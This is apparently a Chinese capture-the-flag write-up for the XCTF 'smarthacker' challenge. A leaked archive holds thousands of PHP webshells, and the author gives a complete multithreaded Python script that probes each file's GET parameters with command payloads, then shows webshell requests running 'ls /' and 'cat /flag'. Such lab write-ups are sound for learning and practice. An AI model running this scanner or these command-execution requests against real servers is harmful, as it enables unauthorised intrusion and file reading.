xctf攻防世界smarthacker wp
考察知识点:源码泄露 python脚本
访问题目地址
下载www.tar.gz
我直呼好家伙,三千多个php文件,而且很乱,根本没法看,不过里面包含很多shell
不过很多shell都没用,猜测这几千个php文件中肯定含有可以使用的shell,只有写脚本去试了
掏出脚本:
import requests
import os
import re
import threading
import time
requests.adapters.DEFAULT_RETRIES = 8 #设置重连次数,防止线程数过高,断开连接
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
sem=threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的挺厉害的,跑到关键的爆炸,心态就爆炸了
url = "http://111.200.241.244:59960/"
####### 下载的源文件路径,根据自己的路径修改
path = r"/root/src/"
rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get参数
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post参数
fileNames = os.listdir(path) # 列出目录中的文件,以每个文件都开一个线程
local_file = open("flag.txt","w",encoding="utf-8")
def run(fileName):
with sem:
file = open( path + fileName, 'r',encoding='utf-8' )
content = file.read()
print("[+]checking:%s" % fileName )
#测试get的参数
for i in rrGET.findall(content):
r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
if "~h3zh1~" in r.text:
flag = "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
print(flag)
local_file.write(flag)
#测试post的参数
#for i in rrPOST.findall(content):
# r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )
# if "~h3zh1~" in r.text:
# flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
# print(flag)
# local_file.writelines(flag)
if __name__ == '__main__':
start_time = time.time() # 开始时间
print("[start]程序开始:"+str(start_time))
thread_list = []
for fileName in fileNames:
t = threading.Thread( target=run , args=(fileName,) )
thread_list.append(t)
for t in thread_list:
t.start()
for t in thread_list:
t.join()
end_time = time.time()
local_file.close()
print("[end]程序结束:用时(秒):"+str(end_time-start_time))
跑出结果
http://111.200.241.244:59960/xk0SzyKwfzw.php?Efa5BVG
康康有没有flag
http://111.200.241.244:59960/xk0SzyKwfzw.php?Efa5BVG=ls%20/;
读取flag
http://111.200.241.244:59960/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag;
http://111.200.241.244:59960/xk0SzyKwfzw.php?Efa5BVG=cat%20%20/flag;
这。。。
明明有flag啊
怀疑出题人没放flag就溜了[狗头]